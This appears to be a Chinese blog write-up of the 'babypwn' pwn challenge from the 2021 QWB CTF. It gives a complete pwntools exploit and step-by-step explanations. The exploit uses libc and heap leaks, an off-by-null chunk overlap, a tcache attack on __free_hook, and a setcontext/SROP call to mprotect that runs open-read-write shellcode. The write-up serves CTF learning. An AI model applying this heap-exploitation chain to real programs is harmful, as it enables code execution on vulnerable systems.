qwb2021 pwn复现

babypwn

exp

from pwn import *
from z3 import *
context.log_level='debug'

p=process(["/root/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/ld-2.27.so","./babypwn"],env={'LD_PRELOAD':'/root/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/libc-2.27.so:./libseccomp.so.2'})
#p=process('./babypwn')
def add(size):
  p.sendlineafter('>>> \n','1')
  p.sendlineafter('size:\n',str(size))

def edit(index,content):
  p.sendlineafter('>>> \n','3')
  p.sendlineafter('index:\n',str(index))
  p.sendlineafter('content:\n',content)

def free(index):
  p.sendlineafter('>>> \n','2')
  p.sendlineafter('index:\n',str(index))

def show(index):
  p.sendlineafter('>>> \n','4')
  p.sendlineafter('index:\n',str(index))
  
def solve(target):
  a1=BitVec('a1',32)
  x=a1
  for _ in range(2):
    x^= (32*x)^LShR((x^(32*x)),17)^(((32*x)^x^LShR((x^(32*x)),17))<<13)
  s=Solver()
  s.add(x==target)
  assert s.check()==sat
  return (s.model()[a1].as_long())

#leak libc_base
add(0x1f0)
add(0x200)
for i in range(2,9):
  add(0x1f0)
#pause()
for i in range(2,9):
  free(i)
free(0)


for i in range(7):
  add(0x1f0)
  print i
  #pause()
  if i!=5:
    edit(i,(p64(0)+p64(0x21))*0x18)

 
add(0xa0)
show(8)
libc=ELF('/root/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
tmp1=solve(int('0x'+p.recvline(keepends=False),16))
tmp2=solve(int('0x'+p.recvline(keepends=False),16))

addr=(tmp2<<32)+tmp1
print hex(addr)
base=addr-0x3ebe90
libc.address=base

#leak heap_base
add(0x140)
free(8)
free(9)
show(5)
tmp1=solve(int('0x'+p.recvline(keepends=False),16))
tmp2=solve(int('0x'+p.recvline(keepends=False),16))
addr=(tmp2<<32)+tmp1
print hex(addr)

heapbase=addr-0x12c0

gdb.attach(p)

add(0xa0)#8
add(0x148)#9
addr=heapbase+0xcb0
edit(9,'a'*0x148)
pause()
py=p64(addr)*2
py=py.ljust(0x140,'a')+p64(0x150+0xa0)
edit(9,py)
edit(8,p64(0)+p64(0x1f0)+p64(addr)*2)
edit(1,'a'*0x1f0+p64(0)+p64(0x251))
pause()
add(0x1f0)
pause()
free(0)
for i in range(2,8):
  free(i)
pause()
free(1)#overlap

free_hook=libc.sym['__free_hook']
system=libc.sym['system']
setcontext=libc.sym['setcontext']+53
mprotect=libc.sym['mprotect']
pause()
add(0x120)#0
add(0x140)#1
pause()
free(1)
free(9)
pause()
edit(0,'./flag\x00\x00'+'a'*152+p64(free_hook))#fastbin_attack
pause()
add(0x140)#1
add(0x140)#2

pause()
context.arch='amd64'
sig=SigreturnFrame()
sig.rsp=free_hook+0x10
sig.rbp=sig.rsp
sig.rip=mprotect
sig.rdi=free_hook&0xfffffffffffff000
sig.rsi=0x1000
sig.rdx=7
sig.csgsfs=0x2b000000000033
edit(0,str(sig))
pause()
shellcode='''
mov rax,2
mov rdi,{sh}
mov rsi,0
syscall

xor rax,rax
mov rdi,3
mov rsi,{bss1}
mov rdx,0x300
syscall

mov rax,1
mov rdi,1
mov rsi,{bss2}
mov rdx,0x100
syscall
'''.format(sh=free_hook+0x78,bss1=free_hook-0x500,bss2=free_hook-0x500)
shellcode=asm(shellcode)
py=p64(setcontext)+'flag\x00\x00\x00\x00'+p64(free_hook+0x18)+shellcode
py+=py.ljust(0x100,'\x90')
py+="flag\x00\x00\x00\x00"
edit(2,py)
pause()
free(0)
p.interactive()

 

泄露libc基址

#leak libc_base
add(0x1f0)
add(0x200)
for i in range(2,9):
  add(0x1f0)
#pause()
for i in range(2,9):
  free(i)
free(0)
for i in range(7):
  add(0x1f0)
  print i
  #pause()
  if i!=5:
    edit(i,(p64(0)+p64(0x21))*0x18)
add(0xa0)
show(8)

填满7个tache,最后再free(0),这时候chunck 0就进入unsortbin。

然后再把这个unsortbin的一部分申请出来,就可以泄露libc的基址。

add(0xa0)前:

 

 

 

 

 add(0xa0)后:

 

 

 

 

overlap

add(0xa0)#8
add(0x148)#9
addr=heapbase+0xcb0
edit(9,'a'*0x148)
pause()
py=p64(addr)*2
py=py.ljust(0x140,'a')+p64(0x150+0xa0)
edit(9,py)
edit(8,p64(0)+p64(0x1f0)+p64(addr)*2)
edit(1,'a'*0x1f0+p64(0)+p64(0x251))
pause()
add(0x1f0)
pause()
free(0)
for i in range(2,8):
  free(i)
pause()
free(1)#overlap

先利用edit()函数中的off-by-null,把chunck 1的size改成0x200。

 

 然后伪造堆块

伪造前:

 

 伪造后:

 

 

通过free(1)向前合并堆块。

free(1)前:

 

 free(1)后:

 

把chunck 8,chunck 9,chunck 1,合并成一个0x3f0大小的伪造chunck。

 

tache_fastbin_attack:

申请2个chunck,此时堆块情况:

 

 然后把1和9依次free()了,再利用edit()修改fd指针。

edit前:

 

 

 

 edit后:

 

 

 

 在申请第二个0x150块的时候就能申请free_hook那一块的区域。

 

shellcode

context.arch='amd64'
sig=SigreturnFrame()
sig.rsp=free_hook+0x10
sig.rbp=sig.rsp
sig.rip=mprotect
sig.rdi=free_hook&0xfffffffffffff000
sig.rsi=0x1000
sig.rdx=7
sig.csgsfs=0x2b000000000033
edit(0,str(sig))
pause()
shellcode='''
mov rax,2
mov rdi,{sh}
mov rsi,0
syscall

xor rax,rax
mov rdi,3
mov rsi,{bss1}
mov rdx,0x300
syscall

mov rax,1
mov rdi,1
mov rsi,{bss2}
mov rdx,0x100
syscall
'''.format(sh=free_hook+0x78,bss1=free_hook-0x500,bss2=free_hook-0x500)
shellcode=asm(shellcode)
py=p64(setcontext)+'flag\x00\x00\x00\x00'+p64(free_hook+0x18)+shellcode
py+=py.ljust(0x100,'\x90')
py+="flag\x00\x00\x00\x00"

利用setcontext函数来执行mportect()函数更改__free_hook那段地址的属性。

然后再跳转到open(),read(),write()的shellcode输出flag的内容。

posted @ 2021-08-09 20:24  mio_yy  阅读(63)  评论(0编辑  收藏  举报